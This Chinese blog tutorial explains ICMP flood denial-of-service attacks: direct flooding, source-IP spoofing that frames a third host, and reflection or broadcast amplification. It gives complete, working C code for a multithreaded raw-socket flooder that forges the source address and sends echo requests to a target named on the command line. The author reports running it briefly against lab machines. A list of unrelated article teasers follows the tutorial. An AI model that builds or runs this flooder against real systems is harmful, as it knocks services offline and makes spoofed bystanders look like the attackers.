Linux编程之ICMP洪水攻击
作者:Madcola 发布时间:2023-07-27 00:40:06
我的上一篇文章《Linux编程之PING的实现》里使用ICMP协议实现了PING的程序,ICMP除了实现这么一个PING程序,还有哪些不为人知或者好玩的用途?这里我将介绍ICMP另一个很有名的黑科技:ICMP洪水攻击。
ICMP洪水攻击属于大名鼎鼎的DOS(Denial of Service)攻击的一种,一种是黑客们喜欢的攻击手段,这里本着加深自己对ICMP的理解的目的,也试着基于ICMP写一段ICMP的洪水攻击小程序。
洪水攻击(FLOOD ATTACK)指的是利用计算机网络技术向目的主机发送大量无用数据报文,使得目的主机忙于处理无用的数据报文而无法提供正常服务的网络行为。
ICMP洪水攻击:顾名思义,就是对目的主机发送洪水般的ping包,使得目的主机忙于处理ping包而无能力处理其他正常请求,这就好像是洪水一般的ping包把目的主机给淹没了。
要实现ICMP的洪水攻击,需要以下三项的知识储备:
DOS攻击原理
ICMP的深入理解
原始套接字的编程技巧
一、ICMP洪水攻击原理
ICMP洪水攻击是在ping的基础上形成的,但是ping程序很少能造成目的及宕机的问题,这是因为ping的发送包的速率太慢了,像我实现的PING程序里ping包发送速率限定在1秒1发,这个速率目的主机处理ping包还是绰绰有余的。所以要造成“洪水”的现象,就必须提升发包速率。这里介绍三种ICMP洪水攻击的方式:
(1)直接洪水攻击
这样做需要本地主机的带宽和目的主机的带宽之间进行比拼,比如我的主机网络带宽是30M的,而你的主机网络带宽仅为3M,那我发起洪水攻击淹没你的主机成功率就很大了。这种攻击方式要求攻击主机处理能力和带宽要大于被攻击主机,否则自身被DoS了。基于这种思想,我们可以使用一台高带宽高性能的电脑,采用多线程的方法一次性发送多个ICMP请求报文,让目的主机忙于处理大量这些报文而造成速度缓慢甚至宕机。这个方法有个大缺点,就是对方可以根据ICMP包的IP地址而屏蔽掉攻击源,使得攻击不能继续。
(2)伪IP攻击
在直接洪水攻击的基础上,我们将发送方的IP地址伪装成其他IP,如果是伪装成一个随机的IP,那就可以很好地隐藏自己的位置;如果将自己的IP伪装成其他受害者的IP,就会造成“挑拨离间”的情形,受害主机1的icmp回复包也如洪水般发送给受害主机2,如果主机1的管理员要查是哪个混蛋发包攻击自己,他一查ICMP包的源地址,咦原来是主机2,这样子主机2就成了戴罪羔羊了。
(3)反射攻击
这类攻击的思想不同于上面两种攻击,反射攻击的设计更为巧妙。其实这里的方式三的攻击模式是前两个模式的合并版以及升级版,方式三的攻击策略有点像“借刀 * “,反射攻击不再直接对目标主机,而是让其他一群主机误以为目标主机在向他们发送ICMP请求包,然后一群主机向目的主机发送ICMP应答包,造成来自四面八方的洪水淹没目的主机的现象。比如我们向局域网的其他主机发送ICMP请求包,然后自己的IP地址伪装成目的主机的IP,这样子目的主机就成了ICMP回显的焦点了。这种攻击非常隐蔽,因为受害主机很难查出攻击源是谁。
二、ICMP洪水攻击程序设计
这里我想实现一个ICMP洪水攻击的例子,这里我想采用方式二来进行设计。虽说方式三的“借刀 * ”更为巧妙,其实也是由方式二的伪装方式进一步延伸的,实现起来也是大同小异。
首先给出攻击的模型图:
1.组ICMP包
这里的组包跟编写PING程序时的组包没太大差别,唯一需要注意的是,我们需要填写IP头部分,因为我们要伪装源地址,做到嫁祸于人。
void DoS_icmp_pack(char* packet)
{
struct ip* ip_hdr = (struct ip*)packet;
struct icmp* icmp_hdr = (struct icmp*)(packet + sizeof(struct ip));
ip_hdr->ip_v = 4;
ip_hdr->ip_hl = 5;
ip_hdr->ip_tos = 0;
ip_hdr->ip_len = htons(ICMP_PACKET_SIZE);
ip_hdr->ip_id = htons(getpid());
ip_hdr->ip_off = 0;
ip_hdr->ip_ttl = 64;
ip_hdr->ip_p = PROTO_ICMP;
ip_hdr->ip_sum = 0;
ip_hdr->ip_src.s_addr = inet_addr(FAKE_IP);; //伪装源地址
ip_hdr->ip_dst.s_addr = dest; //填入要攻击的目的主机地址
icmp_hdr->icmp_type = ICMP_ECHO;
icmp_hdr->icmp_code = 0;
icmp_hdr->icmp_cksum = htons(~(ICMP_ECHO << 8));
//注意这里,因为数据部分为0,我们就简化了一下checksum的计算了
}
2.搭建发包线程
void Dos_Attack()
{
char* packet = (char*)malloc(ICMP_PACKET_SIZE);
memset(packet, 0, ICMP_PACKET_SIZE);
struct sockaddr_in to;
DoS_icmp_pack(packet);
to.sin_family = AF_INET;
to.sin_addr.s_addr = dest;
to.sin_port = htons(0);
while(alive) //控制发包的全局变量
{
sendto(rawsock, packet, ICMP_PACKET_SIZE, 0, (struct sockaddr*)&to, sizeof(struct sockaddr));
}
free(packet); //记得要释放内存
}
3.编写发包开关
这里的开关很简单,用信号量+全局变量即可以实现。当我们按下ctrl+c时,攻击将关闭。
void Dos_Sig()
{
alive = 0;
printf("stop DoS Attack!\n");
}
4.总的架构
我们使用了64个线程一起发包,当然这个线程数还可以大大增加,来增加攻击强度。但我们只是做做实验,没必要搞那么大。
int main(int argc, char* argv[])
{
struct hostent* host = NULL;
struct protoent* protocol = NULL;
int i;
alive = 1;
pthread_t attack_thread[THREAD_MAX_NUM]; //开64个线程同时发包
int err = 0;
if(argc < 2)
{
printf("Invalid input!\n");
return -1;
}
signal(SIGINT, Dos_Sig);
protocol = getprotobyname(PROTO_NAME);
if(protocol == NULL)
{
printf("Fail to getprotobyname!\n");
return -1;
}
PROTO_ICMP = protocol->p_proto;
dest = inet_addr(argv[1]);
if(dest == INADDR_NONE)
{
host = gethostbyname(argv[1]);
if(host == NULL)
{
printf("Invalid IP or Domain name!\n");
return -1;
}
memcpy((char*)&dest, host->h_addr, host->h_length);
}
rawsock = socket(AF_INET, SOCK_RAW, PROTO_ICMP);
if(rawsock < 0)
{
printf("Fait to create socket!\n");
return -1;
}
setsockopt(rawsock, SOL_IP, IP_HDRINCL, "1", sizeof("1"));
printf("ICMP FLOOD ATTACK START\n");
for(i=0;i<THREAD_MAX_NUM;i++)
{
err = pthread_create(&(attack_thread[i]), NULL, (void*)Dos_Attack, NULL);
if(err)
{
printf("Fail to create thread, err %d, thread id : %d\n",err, attack_thread[i]);
}
}
for(i=0;i<THREAD_MAX_NUM;i++)
{
pthread_join(attack_thread[i], NULL); //等待线程结束
}
printf("ICMP ATTACK FINISHI!\n");
close(rawsock);
return 0;
}
三、实验
本次实验本着学习的目的,想利用自己手上的设备,想进一步理解网络和协议的应用,所以攻击的幅度比较小,时间也就几秒,不对任何设备造成影响。
再说一下我们的攻击步骤:我们使用主机172.0.5.183作为自己的攻击主机,并将自己伪装成主机172.0.5.182,对主机172.0.5.9发起ICMP洪水攻击。
攻击开始
我们观察一下”受害者“那边的情况。在短短5秒里,正确收到并交付上层处理的包也高达7万多个了。我也不敢多搞事,避免影响机器工作。
使用wireshark抓包再瞧一瞧,满满的ICMP包啊,看来量也是很大的。ICMP包的源地址显示为172.0.5.182(我们伪装的地址),它也把echo reply回给了172.0.5.182。主机172.0.5.182肯定会想,莫名其妙啊,怎么收到这么多echo reply包。
攻击实验做完了。
现在更为流行的是DDOS攻击,其威力更为强悍,策略更为精巧,防御难度也更加高。
其实,这种DDoS攻击也是在DOS的基础上发起的,具体步骤如下:
1. 攻击者向“放大网络”广播echo request报文
2. 攻击者指定广播报文的源IP为被攻击主机
3. “放大网络”回复echo reply给被攻击主机
4. 形成DDoS攻击场景
这里的“放大网络”可以理解为具有很多主机的网络,这些主机的操作系统需要支持对目的地址为广播地址的某种ICMP请求数据包进行响应。
攻击策略很精妙,简而言之,就是将源地址伪装成攻击主机的IP,然后发广播的给所有主机,主机们收到该echo request后集体向攻击主机回包,造成群起而攻之的情景。
猜你喜欢
- 北京时间10月14日消息,据国外媒体报道,市场调研公司comScore刚刚披露的9月数据显示,Facebook和Twitter之间的差距正在
- 下载的地址:http://java.sun.com/products/archive/j2se/1.4.2_06/index.html 第一
- 用IIS,php4和mysql的软件包是php-4.0.1pl2-Win32.zip、mysql-3.23.19-beta-win.zip。
- 作为一款流行的做图软件,美图秀秀已经能够完美的支持Windows7系统了。想必不少用户已经在Windows7系统下使用这款软件了吧。然而,在
- 创建站点地图有两种类型的站点地图:传统站点地图和搜索引擎站点地图。两者都很容易加入到Web站点中。传统站点地图可以作为其他HTML网页创建,
- 由于提供了FTP下载而又限制了线程,所以总发现有人不断用多线程进行尝试,这样会大大增加服务器的负荷,这种事“损人不利己”!为了“惩罚”这种人
- 综述本文将讨论UNIX平台下,Apache WEB服务器安装和配置的安全问题。我们假定阅读本文的系统管理员已经针对自己站点的情况选择了相关的
- 之所以说做网站站长就是这样一步一步练成的是因为是这样的,好好做下去,每天都坚持不懈的更新网站应该会有好回报。2007年在一朋友的介绍下我加入
- 由中国互联网协会主办、工业和信息化部等部委指导的2008(第七届)中国互联网大会,于2008年9月23日至25日在南京会议展览中心召开。本届
- 2008年过去了,尽管金融危机给中国企业带来了冲击,导致不少企业遭遇滑坡,但是网络却仍然是2008年增长的最强音,中国网民已达到2.98亿人
- 本文介绍了如何使用Windows NT系列的服务器操作系统中的安全配置功能,网友可以对操作系统的帐户管理,服务管理和审核方法有一定的了解。帐
- 笔者水平不高,所学知识也大多是网上搜索而来。2006年终于赚得人生的第一筐土豆,07年初工作进入新的阶段,闲来无事,灌水自娱。总诀其实本文只
- 话锋一转就到了系统权限设置与安全配置的实际操作阶段 系统设置网上有一句话是"最小的权限+最少的服务=最大的安全"。此句基
- 1. 首页在哪里?你要确保在博客页面的顶部位置有一个明显的“首页”链接。2. 将你的logo链向你的首页。3. 增加搜索框。增加搜索框可以帮
- 北京时间11月7日上午消息,据国外媒体报道,市场研究公司comScore Media Metrix今天发表报告称,9月份微软网站访问时长高于
- 首先,软文容易为读者所接受。这是老谢一直在说的。现代企业、产品信息铺天盖地,电视、广播、杂志等等媒介上的广告越来越多。而报纸、杂志等印刷媒介
- 登录到Godaddy,然后点解导航菜单 Domain Manager 然后在域名管理页面点击菜单中的 Panding Transfers 这
- 很多人在选择虚拟主机(Virtual Hosting)或者VPS的时候因为备案,网络审查,外贸等原因都倾向于把主机放在美国。美国作为互联网的
- 各位站长好,以前给百度客服打过N次电话,每每问及近期收录相关事谊都不给允回答。今天又打了一次。接电话的是个男的,听声音好像未成年...(日小
- 难怪最近老中病毒,而且每次中毒时都自动打开了RealPlayer播放器,我就很奇怪,当时每注意,直到又一次中毒。原来是RealPlayer的